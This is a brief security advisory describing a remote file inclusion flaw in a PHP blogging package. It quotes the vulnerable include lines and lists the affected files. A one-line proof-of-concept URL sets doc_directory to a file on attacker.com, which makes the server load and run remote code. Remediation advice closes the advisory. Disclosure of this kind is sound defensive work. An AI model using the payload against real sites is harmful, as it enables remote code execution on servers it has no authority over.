Vulnerability:
|
|
~~~~~~~~~~~~~
|
|
|
|
In folder sw/lib_up_file/ I found vulnerability script file.php
|
|
--------------------------file.php---------------------------------------
|
|
....
|
|
<?
|
|
|
|
include $doc_directory.$path_sw."lib_up_file/lib_file.php";
|
|
include $doc_directory.$path_sw."lib_up_file/lib_form_file.php";
|
|
include $doc_directory.$path_sw."lib_up_file/lib_read_file.php";
|
|
include $doc_directory.$path_sw."lib_up_file/lib_page_file.php";
|
|
include $doc_directory.$path_sw."lib_up_file/find_file.php";
|
|
include $doc_directory.$path_sw."lib_up_file/down_stat.php";
|
|
|
|
...
|
|
----------------------------------------------------------
|
|
|
|
Input passed to the "$doc_directory" parameter in file.php is not
|
|
properly verified before being used. This can be exploited to execute
|
|
arbitrary PHP code by including files from local or external
|
|
resources.
|
|
|
|
Also affected files on Files:
|
|
|
|
sw/lib_up_file/down_stat.php
|
|
sw/lib_up_file/file.php
|
|
sw/lib_up_file/find_file.php
|
|
sw/lib_up_file/lib_read_file.php
|
|
sw/lib_up_file/lib_form_file.php
|
|
sw/lib_comment/find_comment.php
|
|
sw/lib_comment/comment.php
|
|
sw/lib_comment/lib_comment.php
|
|
sw/lib_find/find.php
|
|
etc..
|
|
|
|
|
|
|
|
Proof Of Concept:
|

|
|
http://target.com/[OpenDockEasyBlog_Path]/sw/lib_find/find.php?doc_directory=http://attacker.com/inject.txt?
|
|
|
|
Solution:
|
|
~~~~~~
|
|
- Sanitize variable $doc_directory on affected files.
|
|
- Turn off register_globals
